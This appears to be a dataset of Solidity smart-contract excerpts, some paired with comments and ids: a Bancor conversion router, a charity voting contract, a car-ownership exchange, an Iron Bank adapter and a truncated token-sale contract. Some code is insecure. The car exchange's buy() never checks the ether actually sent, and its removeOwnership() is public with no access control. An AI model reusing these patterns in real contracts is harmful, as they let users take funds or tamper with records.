// make the conversion - if it's the last one, also provide the minimum return value
_amount = converter.change(_fromToken, toToken, _amount, i == pathLength - 2 ? _minReturn : 1);
_fromToken = toToken;
}
return (toToken, _amount);
}
/**
@dev checks whether the given converter supports a whitelist and if so, ensures that
the account that should receive the conversion result is actually whitelisted
@param _converter converter to check for whitelist
@param _for account that will receive the conversion result
@param _features contract features contract address
*/
function checkWhitelist(IBancorConverter _converter, address _for, IContractFeatures _features) private view {
IWhitelist whitelist;
// check if the converter supports the conversion whitelist feature
if (!_features.isSupported(_converter, FeatureIds.CONVERTER_CONVERSION_WHITELIST))
return;
// get the whitelist contract from the converter
whitelist = _converter.conversionWhitelist();
if (whitelist == address(0))
return;
// check if the account that should receive the conversion result is actually whitelisted
require(whitelist.isWhitelisted(_for));
}
/**
@dev claims the caller's tokens, converts them to any other token in the bancor network
by following a predefined conversion path and transfers the result tokens to a target account
note that allowance must be set beforehand
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@param _for account that will receive the conversion result
@return tokens issued in return
*/
function claimAndConvertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public returns (uint256) {
// we need to transfer the tokens from the caller to the converter before we follow
// the conversion path, to allow it to execute the conversion on behalf of the caller
// note: we assume we already have allowance
IERC20Token fromToken = _path[0];
assert(fromToken.transferFrom(msg.sender, this, _amount));
return convertFor(_path, _amount, _minReturn, _for);
}
/**
@dev converts the token to any other token in the bancor network by following
a predefined conversion path and transfers the result tokens back to the sender
note that the converter should already own the source tokens
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@return tokens issued in return
*/
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256) {
return convertFor(_path, _amount, _minReturn, msg.sender);
}
/**
@dev claims the caller's tokens, converts them to any other token in the bancor network
by following a predefined conversion path and transfers the result tokens back to the sender
note that allowance must be set beforehand
@param _path conversion path, see conversion path format above
@param _amount amount to convert from (in the initial source token)
@param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero
@return tokens issued in return
*/
function claimAndConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public returns (uint256) {
return claimAndConvertFor(_path, _amount, _minReturn, msg.sender);
}
/**
@dev utility, checks whether allowance for the given spender exists and approves one if it doesn't
@param _token token to check the allowance in
@param _spender approved address
@param _value allowance amount
*/
function ensureAllowance(IERC20Token _token, address _spender, uint256 _value) private {
// check if allowance for the given amount already exists
if (_token.allowance(this, _spender) >= _value)
return;
// if the allowance is nonzero, must reset it to 0 first
if (_token.allowance(this, _spender) != 0)
assert(_token.approve(_spender, 0));
// approve the new allowance
assert(_token.approve(_spender, _value));
}
// deprecated, backward compatibility
function convertForPrioritized(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256)
{
convertForPrioritized2(_path, _amount, _minReturn, _for, _block, _v, _r, _s);
}
}
|
if ETH is provided, ensure that the amount is lower than the path amount and verify that the source token is an ether token. otherwise ensure that the source is not an ether token
|
IERC20Token fromToken = path[0];
| 1,222,371
|
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pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
//there is no case where this function can overflow/underflow
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoCharity {
using SafeMath for uint;
event LogDonation(address indexed from, uint value);
event LogAddSubject(address indexed from, bytes32 title);
event LogVoteForSubject(address indexed from, bytes32 index);
event LogExecuteSubject(uint index);
event LogVoteForLocking(address indexed from);
event LogRemoveVoteForLocking(address indexed from);
event LogTransferVotePower(address indexed from, address to, uint votes);
struct Person {
uint votePower;
uint lastTimeVote;
uint lastTimeAddedSubject;
bool canAddSubject;
}
struct Subject {
address recipientAddres;
uint votes;
uint requiredEther;
uint dateCreated;
bool paid;
bytes32 title;
bytes32 description;
}
struct LockPerson {
uint votes;
bool hasVoted;
}
enum ContractStage {Starting, InAction, Locked}
ContractStage private contractStage;
mapping(address => Person) private members;
mapping(address => LockPerson) private membersVotesForLock;
uint private totalVotesForLock;
uint public totalMembers;
uint private totalVotes;
uint private subjectTime;
uint private currentWeekTime;
uint private weekLength;
bool private canAddSubject;
Subject private subjectForApprovel;
modifier OnlyMembers () {
require(members[msg.sender].votePower > 0);
_;
}
modifier CanAddSubject() {
require(members[msg.sender].canAddSubject == true);
require(canAddSubject == true);
_;
}
modifier OnlyStartOrInActionStage () {
require(contractStage == ContractStage.Starting || contractStage == ContractStage.InAction);
_;
}
modifier OnlyInActionStage () {
require(contractStage == ContractStage.InAction);
_;
}
modifier OnlyInActionOrLockedStage () {
require(contractStage == ContractStage.Locked || contractStage == ContractStage.InAction);
_;
}
function CryptoCharity(uint _weekLength) public {
currentWeekTime = now;
contractStage = ContractStage.Starting;
weekLength = _weekLength;
canAddSubject = true;
subjectForApprovel.paid = true;
}
function exsecuteSubject() internal {
if(subjectForApprovel.votes >= totalVotes.div(2).add(1)) {
if(subjectForApprovel.requiredEther.mul(1 ether) > getBalance()){
subjectForApprovel.recipientAddres.transfer(getBalance());
}
else {
subjectForApprovel.recipientAddres.transfer(subjectForApprovel.requiredEther.mul(1 ether));
}
canAddSubject = true;
subjectForApprovel.paid = true;
}
else if(currentWeekTime.add(weekLength) > now) {
canAddSubject = true;
subjectForApprovel.paid = true;
}
}
function donateToCharity() public payable OnlyStartOrInActionStage {
require(msg.value > 0);
uint votes = msg.value.div(1 ether).mul(10);
if(votes > 0) {
if(members[msg.sender].votePower == 0) {
totalMembers = totalMembers.add(1);
}
members[msg.sender].votePower = members[msg.sender].votePower.add(votes);
totalVotes = totalVotes.add(votes);
if(votes >= 10 && members[msg.sender].lastTimeAddedSubject == 0) {
members[msg.sender].canAddSubject = true;
}
}
if(totalMembers == 5) {
contractStage = ContractStage.InAction;
}
exsecuteSubject();
emit LogDonation(msg.sender, msg.value);
}
function addSubject(address _recipientAddres, uint _requiredEther, bytes32 _title, bytes32 _description) public OnlyInActionStage OnlyMembers CanAddSubject{
require(_requiredEther > 0);
canAddSubject = false;
members[msg.sender].canAddSubject = false;
subjectForApprovel = Subject(_recipientAddres, 0, _requiredEther, now, false, _title, _description);
emit LogAddSubject(msg.sender, _title);
}
function voteForSubject() public OnlyMembers OnlyInActionStage {
require(members[msg.sender].lastTimeVote.add(weekLength) < now);
require(members[msg.sender].votePower > 0);
require(subjectForApprovel.requiredEther > 0);
members[msg.sender].lastTimeVote = now;
subjectForApprovel.votes = subjectForApprovel.votes.add(members[msg.sender].votePower);
exsecuteSubject();
emit LogVoteForSubject(msg.sender, subjectForApprovel.title);
}
function voteForLocking() public OnlyMembers OnlyInActionOrLockedStage {
require(membersVotesForLock[msg.sender].hasVoted == false);
membersVotesForLock[msg.sender].hasVoted = true;
if(totalVotesForLock >= membersVotesForLock[msg.sender].votes) {
totalVotesForLock = totalVotesForLock.sub(membersVotesForLock[msg.sender].votes);
}
membersVotesForLock[msg.sender].votes = members[msg.sender].votePower;
totalVotesForLock = totalVotesForLock.add(members[msg.sender].votePower);
emit LogVoteForLocking(msg.sender);
exsecuteSubject();
if(totalVotesForLock > totalVotes.div(2).add(1)){
contractStage = ContractStage.Locked;
}
}
function removeVoteForLocking() public OnlyMembers OnlyInActionOrLockedStage {
require(membersVotesForLock[msg.sender].hasVoted == true);
membersVotesForLock[msg.sender].hasVoted = false;
totalVotesForLock -= membersVotesForLock[msg.sender].votes;
emit LogRemoveVoteForLocking(msg.sender);
exsecuteSubject();
if(totalVotesForLock < totalVotes.div(2).add(1)){
contractStage = ContractStage.InAction;
}
}
function transferVotePower(address _addr) public OnlyMembers OnlyInActionOrLockedStage {
uint votePower = members[msg.sender].votePower;
members[msg.sender].votePower = 0;
members[_addr].votePower = members[_addr].votePower.add(votePower);
exsecuteSubject();
emit LogTransferVotePower(msg.sender, _addr, votePower);
}
function getDonatePageInfo() public view returns(uint, uint, uint, uint,bool,ContractStage) {
Person memory person = members[msg.sender];
return (this.balance,totalVotes, person.votePower, person.lastTimeVote, person.canAddSubject,contractStage);
}
function getLockPageInfo() public view returns(ContractStage, uint, uint, uint, uint,bool) {
return(contractStage, totalVotes, totalVotesForLock, members[msg.sender].votePower, membersVotesForLock[msg.sender].votes, membersVotesForLock[msg.sender].hasVoted);
}
function getAddPageInfo() public view returns (ContractStage, bool, bool) {
return (contractStage, subjectForApprovel.paid, members[msg.sender].canAddSubject);
}
function getSubjectPageInfo() public view returns(address, uint,uint,uint,bytes32,bytes32,uint, bool, uint, ContractStage) {
Subject memory sub = subjectForApprovel;
return (sub.recipientAddres, sub.votes, sub.requiredEther, sub.dateCreated, sub.title, sub.description,totalVotes, sub.paid, this.balance, contractStage);
}
function getBalance() public view returns(uint) {
return this.balance;
}
}
|
there is no case where this function can overflow/underflow
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
| 12,793,934
|
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pragma solidity ^0.4.24;
import './Ownable.sol';
contract CarExchange is Ownable {
// We emit this event whenever a car is newly registered to the blockchain
event Registered(uint indexed _vinNumber, address indexed _owner);
// We emit this event whenever a car is bought from seller to buyer
event Bought(uint indexed _vinNumber, address indexed _oldOwner, address indexed _newOwner, uint _value);
// We emit this event whenever a car is listed for sale
event Listed(uint indexed _vinNumber, address indexed _carOwner, uint _value);
// Car structure
struct Car {
uint value;
address owner;
bool listed;
uint index;
}
// A list of all registered cars
uint[] cars;
// Mapping which contains all car id'' connected to their car structures
mapping(uint => Car) public carStructs;
// A list of registered cars per owner
mapping(address => uint[]) ownerToCars;
// A list of car count per owner
mapping(address => uint) ownerCarCount;
/**
* @dev CarExchange constructor function.
*/
constructor() public {
}
/**
* @dev Find index of owned cars function.
*
* @param _owner address - The address of owner of the car.
* @param _vinNumber uint - Vin number of the car (id of the car).
* @return uint - Index of the car.
*/
function indexOf(address _owner, uint _vinNumber) internal view returns (uint) {
uint i = 0;
while (ownerToCars[_owner][i] != _vinNumber) {
i++;
}
return i;
}
/**
* @dev Remove ownership at the give index function.
*
* @param _owner address - The address of owner of the car.
* @param _index uint - Index of the given car.
* @return bool - Success if the removal of the ownership has happen.
*/
function removeOwnershipAtIndex(address _owner, uint _index) internal returns (bool success) {
if (_index >= ownerToCars[_owner].length) return;
for (uint i = _index; i < ownerToCars[_owner].length - 1; i++) {
ownerToCars[_owner][i] = ownerToCars[_owner][i + 1];
}
delete ownerToCars[_owner][ownerToCars[_owner].length - 1];
ownerToCars[_owner].length--;
return true;
}
/**
* @dev Remove ownership function.
*
* @param _owner address - The address of owner of the car.
* @param _vinNumber uint - Vin Number (index) of the given car.
* @return bool - Success if the removal of the ownership has happen.
*/
function removeOwnership(address _owner, uint _vinNumber) public returns (bool success) {
uint index = indexOf(_owner, _vinNumber);
removeOwnershipAtIndex(_owner, index);
return true;
}
/**
* @dev Get cars count function.
*
* @return uint - Number of all cars.
*/
function getCarCount() public view returns (uint) {
return cars.length;
}
/**
* @dev Get car by vinNumber function.
*
* @param _vinNumber uint - Vin number (id) of the car.
* @return value uint - Price of the car.
* @return owner address - Owner of the car.
* @return listed bool - True/false if car is listed or not for sale.
* @return index uint - Index of the car.
*/
function getCar(uint _vinNumber) public view returns (uint value, address owner, bool listed, uint index) {
return (carStructs[_vinNumber].value, carStructs[_vinNumber].owner, carStructs[_vinNumber].listed, carStructs[_vinNumber].index);
}
/**
* @dev Get car count per owner function.
*
* @param _owner address - The address of owner of the car.
* @return uint count - Counter of cars per given owner.
*/
function getCarCountPerOwner(address _owner) public view returns (uint count) {
require(_owner != address(0));
return ownerCarCount[_owner];
}
/**
* @dev Register car function.
*
* @param _owner address - The address of owner of the car.
* @param _vinNumber uint - Vin Number (index) of the given car.
* @return success bool - Success if the removal of the ownership has happen.
*/
function register(address _owner, uint _vinNumber) public returns (bool success) {
require(_owner != address(0));
carStructs[_vinNumber].owner = _owner;
carStructs[_vinNumber].value = 0;
carStructs[_vinNumber].listed = false;
carStructs[_vinNumber].index = cars.push(_vinNumber) - 1;
ownerCarCount[_owner] = ownerCarCount[_owner] + 1;
ownerToCars[_owner].push(_vinNumber);
emit Registered(_vinNumber, _owner);
return true;
}
/**
* @dev Buy car function.
*
* @param _vinNumber uint - Vin number (index) of the car.
* @param _value uint - Price of the car.
* @return success bool - Success if the removal of the ownership has happen.
*/
function buy(uint _vinNumber, uint _value) public payable returns (bool success) {
// require that the buyer is a true person
require(msg.sender != address(0));
//require that the car is for sale
require(carStructs[_vinNumber].listed);
//require that the amount of ether sent is equal to the value of that car
require(_value == carStructs[_vinNumber].value);
address previousOwner = carStructs[_vinNumber].owner;
//change the ownership of the car
carStructs[_vinNumber].owner = msg.sender;
carStructs[_vinNumber].listed = false;
ownerToCars[msg.sender].push(_vinNumber);
removeOwnership(previousOwner, _vinNumber);
ownerCarCount[msg.sender]++;
ownerCarCount[previousOwner]--;
// transfer the money to the seller
previousOwner.transfer(_value);
emit Bought(_vinNumber, previousOwner, msg.sender, _value);
return true;
}
/**
* @dev List car for sale function.
*
* @param _vinNumber uint - Vin number (index) of the car.
* @param _value uint - Price of the car.
* @return success bool - Success if the removal of the ownership has happen.
*/
function list(uint _vinNumber, uint _value) public returns (bool success) {
//require that the user is a true user
require(msg.sender != address(0));
// require that msg.sender is the owner of the car
require(carStructs[_vinNumber].owner == msg.sender);
carStructs[_vinNumber].value = _value;
carStructs[_vinNumber].listed = true;
emit Listed(_vinNumber, msg.sender, _value);
return true;
}
/**
* @dev Return owned cars function.
*
* @param _owner address - The address of owner of the cars.
* @return vinNumbers uint[] - Vin numbers (indexes) of the cars owned by the given owner.
*/
function ownedCars(address _owner) external view returns (uint[] vinNumbers) {
require(_owner != address(0));
return ownerToCars[_owner];
}
/**
* @dev Return all listed cars function.
*
* @return j uint - Id of the car.
* @return carList uint[] - Car list.
* @return valueList uint[] - Value list.
* @return ownerList address[] - Owners list.
*/
function getAllListedCars() public view returns (uint, uint[], uint[], address[]) {
uint[] memory carList = new uint[](cars.length);
uint[] memory valueList = new uint[](cars.length);
address[] memory ownerList = new address[](cars.length);
uint j = 0;
for (uint i = 0; i < cars.length; i++) {
Car storage car = carStructs[cars[i]];
if (car.listed) {
carList[j] = cars[i];
valueList[j] = car.value;
ownerList[j] = car.owner;
j++;
}
}
return (j, carList, valueList, ownerList);
}
}
|
Mapping which contains all car id'' connected to their car structures
|
mapping(uint => Car) public carStructs;
| 7,268,248
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./partial_match/1/0x21670dDB429B6D80B5bE4e65532576bB14b7cC62/sources/RegistryAdapterIronBank.sol
|
* Fetch dynamic information about an asset/
|
function assetDynamic(address assetAddress)
public
view
returns (AssetDynamic memory)
{
ICyToken asset = ICyToken(assetAddress);
address tokenAddress = underlyingTokenAddress(assetAddress);
uint256 liquidity = asset.getCash();
uint256 liquidityUsdc;
uint256 tokenPriceUsdc = assetUnderlyingTokenPriceUsdc(assetAddress);
if (liquidity > 0) {
liquidityUsdc = oracle.getNormalizedValueUsdc(
tokenAddress,
liquidity,
tokenPriceUsdc
);
}
IUnitroller.Market memory market = comptroller.markets(assetAddress);
uint256 balance = assetBalance(assetAddress);
TokenAmount memory underlyingTokenBalance =
tokenAmount(balance, tokenAddress, tokenPriceUsdc);
uint256 totalBorrowed = asset.totalBorrows();
uint256 totalBorrowedUsdc =
oracle.getNormalizedValueUsdc(
tokenAddress,
totalBorrowed,
tokenPriceUsdc
);
AssetMetadata memory metadata =
AssetMetadata({
totalSuppliedUsdc: underlyingTokenBalance.amountUsdc,
totalBorrowedUsdc: totalBorrowedUsdc,
lendApyBips: (asset.supplyRatePerBlock() * blocksPerYear) /
10**14,
borrowApyBips: (asset.borrowRatePerBlock() * blocksPerYear) /
10**14,
liquidity: liquidity,
liquidityUsdc: liquidityUsdc,
collateralFactor: market.collateralFactorMantissa,
isActive: market.isListed,
reserveFactor: asset.reserveFactorMantissa(),
exchangeRate: asset.exchangeRateStored()
});
return
AssetDynamic({
id: assetAddress,
typeId: adapterInfo().typeId,
tokenId: tokenAddress,
underlyingTokenBalance: underlyingTokenBalance,
metadata: metadata
});
}
| 9,165,294
|
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/**
*Submitted for verification at Etherscan.io on 2019-10-31
*/
/**************************************************************************
* ____ _
* / ___| | | __ _ _ _ ___ _ __
* | | _____ | | / _` || | | | / _ \| '__|
* | |___|_____|| |___| (_| || |_| || __/| |
* \____| |_____|\__,_| \__, | \___||_|
* |___/
*
**************************************************************************
*
* The MIT License (MIT)
*
* Copyright (c) 2016-2019 Cyril Lapinte
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
**************************************************************************
*
* Flatten Contract: Tokensale
*
* Git Commit:
* https://github.com/c-layer/contracts/tree/43925ba24cc22f42d0ff7711d0e169e8c2a0e09f
*
**************************************************************************/
// File: contracts/interface/IERC20.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title IERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract IERC20 {
function name() public view returns (string memory);
function symbol() public view returns (string memory);
function decimals() public view returns (uint256);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function increaseApproval(address spender, uint addedValue)
public returns (bool);
function decreaseApproval(address spender, uint subtractedValue)
public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/interface/ITokensale.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title ITokensale
* @dev ITokensale interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
contract ITokensale {
function () external payable;
function investETH() public payable;
function token() public view returns (IERC20);
function vaultETH() public view returns (address);
function vaultERC20() public view returns (address);
function tokenPrice() public view returns (uint256);
function totalRaised() public view returns (uint256);
function totalUnspentETH() public view returns (uint256);
function totalRefundedETH() public view returns (uint256);
function availableSupply() public view returns (uint256);
function investorUnspentETH(address _investor) public view returns (uint256);
function investorInvested(address _investor) public view returns (uint256);
function investorTokens(address _investor) public view returns (uint256);
function tokenInvestment(address _investor, uint256 _amount) public view returns (uint256);
function refundManyUnspentETH(address payable[] memory _receivers) public returns (bool);
function refundUnspentETH() public returns (bool);
function withdrawAllETHFunds() public returns (bool);
function fundETH() public payable;
event RefundETH(address indexed recipient, uint256 amount);
event WithdrawETH(uint256 amount);
event FundETH(uint256 amount);
event Investment(address indexed investor, uint256 invested, uint256 tokens);
}
// File: contracts/util/math/SafeMath.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/util/governance/Ownable.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/util/governance/Operable.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Operable
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* OP01: Message sender must be an operator
* OP02: Address must be an operator
* OP03: Address must not be an operator
*/
contract Operable is Ownable {
mapping (address => bool) private operators_;
/**
* @dev Throws if called by any account other than the operator
*/
modifier onlyOperator {
require(operators_[msg.sender], "OP01");
_;
}
/**
* @dev constructor
*/
constructor() public {
defineOperator("Owner", msg.sender);
}
/**
* @dev isOperator
* @param _address operator address
*/
function isOperator(address _address) public view returns (bool) {
return operators_[_address];
}
/**
* @dev removeOperator
* @param _address operator address
*/
function removeOperator(address _address) public onlyOwner {
require(operators_[_address], "OP02");
operators_[_address] = false;
emit OperatorRemoved(_address);
}
/**
* @dev defineOperator
* @param _role operator role
* @param _address operator address
*/
function defineOperator(string memory _role, address _address)
public onlyOwner
{
require(!operators_[_address], "OP03");
operators_[_address] = true;
emit OperatorDefined(_role, _address);
}
event OperatorRemoved(address address_);
event OperatorDefined(
string role,
address address_
);
}
// File: contracts/util/lifecycle/Pausable.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*
* Error messages
* PA01: the contract is paused
* PA02: the contract is unpaused
**/
contract Pausable is Operable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "PA01");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused, "PA02");
_;
}
/**
* @dev called by the operator to pause, triggers stopped state
*/
function pause() public onlyOperator whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the operator to unpause, returns to normal state
*/
function unpause() public onlyOperator whenPaused {
paused = false;
emit Unpause();
}
}
// File: contracts/tokensale/BaseTokensale.sol
pragma solidity >=0.5.0 <0.6.0;
/**
* @title BaseTokensale
* @dev Base Tokensale contract
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* TOS01: token price must be strictly positive
* TOS02: price unit must be strictly positive
* TOS03: No data must be sent while sending ETH
* TOS04: Token transfer must be successfull
* TOS05: No ETH to refund
* TOS06: Cannot invest 0 tokens
* TOS07: Cannot invest if there are no tokens to buy
* TOS08: Only exact amount is authorized
*/
contract BaseTokensale is ITokensale, Operable, Pausable {
using SafeMath for uint256;
/* General sale details */
IERC20 internal token_;
address payable internal vaultETH_;
address internal vaultERC20_;
uint256 internal tokenPrice_;
uint256 internal priceUnit_;
uint256 internal totalRaised_;
uint256 internal totalTokensSold_;
uint256 internal totalUnspentETH_;
uint256 internal totalRefundedETH_;
struct Investor {
uint256 unspentETH;
uint256 invested;
uint256 tokens;
}
mapping(address => Investor) internal investors;
/**
* @dev constructor
*/
constructor(
IERC20 _token,
address _vaultERC20,
address payable _vaultETH,
uint256 _tokenPrice,
uint256 _priceUnit
) public
{
require(_tokenPrice > 0, "TOS01");
require(_priceUnit > 0, "TOS02");
token_ = _token;
vaultERC20_ = _vaultERC20;
vaultETH_ = _vaultETH;
tokenPrice_ = _tokenPrice;
priceUnit_ = _priceUnit;
}
/**
* @dev fallback function
*/
//solhint-disable-next-line no-complex-fallback
function () external payable {
require(msg.data.length == 0, "TOS03");
investETH();
}
/* Investment */
function investETH() public payable
{
Investor storage investor = investorInternal(msg.sender);
uint256 amountETH = investor.unspentETH.add(msg.value);
investInternal(msg.sender, amountETH, false);
}
/**
* @dev returns the token sold
*/
function token() public view returns (IERC20) {
return token_;
}
/**
* @dev returns the vault use to
*/
function vaultETH() public view returns (address) {
return vaultETH_;
}
/**
* @dev returns the vault to receive ETH
*/
function vaultERC20() public view returns (address) {
return vaultERC20_;
}
/**
* @dev returns token price
*/
function tokenPrice() public view returns (uint256) {
return tokenPrice_;
}
/**
* @dev returns price unit
*/
function priceUnit() public view returns (uint256) {
return priceUnit_;
}
/**
* @dev returns total raised
*/
function totalRaised() public view returns (uint256) {
return totalRaised_;
}
/**
* @dev returns total tokens sold
*/
function totalTokensSold() public view returns (uint256) {
return totalTokensSold_;
}
/**
* @dev returns total unspent ETH
*/
function totalUnspentETH() public view returns (uint256) {
return totalUnspentETH_;
}
/**
* @dev returns total refunded ETH
*/
function totalRefundedETH() public view returns (uint256) {
return totalRefundedETH_;
}
/**
* @dev returns the available supply
*/
function availableSupply() public view returns (uint256) {
uint256 vaultSupply = token_.balanceOf(vaultERC20_);
uint256 allowance = token_.allowance(vaultERC20_, address(this));
return (vaultSupply < allowance) ? vaultSupply : allowance;
}
/* Investor specific attributes */
function investorUnspentETH(address _investor)
public view returns (uint256)
{
return investorInternal(_investor).unspentETH;
}
function investorInvested(address _investor)
public view returns (uint256)
{
return investorInternal(_investor).invested;
}
function investorTokens(address _investor) public view returns (uint256) {
return investorInternal(_investor).tokens;
}
/**
* @dev tokenInvestment
*/
function tokenInvestment(address, uint256 _amount)
public view returns (uint256)
{
uint256 availableSupplyValue = availableSupply();
uint256 contribution = _amount.mul(priceUnit_).div(tokenPrice_);
return (contribution < availableSupplyValue) ? contribution : availableSupplyValue;
}
/**
* @dev refund unspentETH ETH many
*/
function refundManyUnspentETH(address payable[] memory _receivers)
public onlyOperator returns (bool)
{
for (uint256 i = 0; i < _receivers.length; i++) {
refundUnspentETHInternal(_receivers[i]);
}
return true;
}
/**
* @dev refund unspentETH
*/
function refundUnspentETH() public returns (bool) {
refundUnspentETHInternal(msg.sender);
return true;
}
/**
* @dev withdraw all ETH funds
*/
function withdrawAllETHFunds() public onlyOperator returns (bool) {
uint256 balance = address(this).balance;
withdrawETHInternal(balance);
return true;
}
/**
* @dev fund ETH
*/
function fundETH() public payable onlyOperator {
emit FundETH(msg.value);
}
/**
* @dev investor internal
*/
function investorInternal(address _investor)
internal view returns (Investor storage)
{
return investors[_investor];
}
/**
* @dev eval unspent ETH internal
*/
function evalUnspentETHInternal(
Investor storage _investor, uint256 _investedETH
) internal view returns (uint256)
{
return _investor.unspentETH.add(msg.value).sub(_investedETH);
}
/**
* @dev eval investment internal
*/
function evalInvestmentInternal(uint256 _tokens)
internal view returns (uint256, uint256)
{
uint256 invested = _tokens.mul(tokenPrice_).div(priceUnit_);
return (invested, _tokens);
}
/**
* @dev distribute tokens internal
*/
function distributeTokensInternal(address _investor, uint256 _tokens) internal {
require(
token_.transferFrom(vaultERC20_, _investor, _tokens),
"TOS04");
}
/**
* @dev refund unspentETH internal
*/
function refundUnspentETHInternal(address payable _investor) internal {
Investor storage investor = investorInternal(_investor);
require(investor.unspentETH > 0, "TOS05");
uint256 unspentETH = investor.unspentETH;
totalRefundedETH_ = totalRefundedETH_.add(unspentETH);
totalUnspentETH_ = totalUnspentETH_.sub(unspentETH);
investor.unspentETH = 0;
// Multiple sends are required for refundManyUnspentETH
// solhint-disable-next-line multiple-sends
_investor.transfer(unspentETH);
emit RefundETH(_investor, unspentETH);
}
/**
* @dev withdraw ETH internal
*/
function withdrawETHInternal(uint256 _amount) internal {
// Send is used after the ERC20 transfer
// solhint-disable-next-line multiple-sends
vaultETH_.transfer(_amount);
emit WithdrawETH(_amount);
}
/**
* @dev invest internal
*/
function investInternal(address _investor, uint256 _amount, bool _exactAmountOnly)
internal whenNotPaused
{
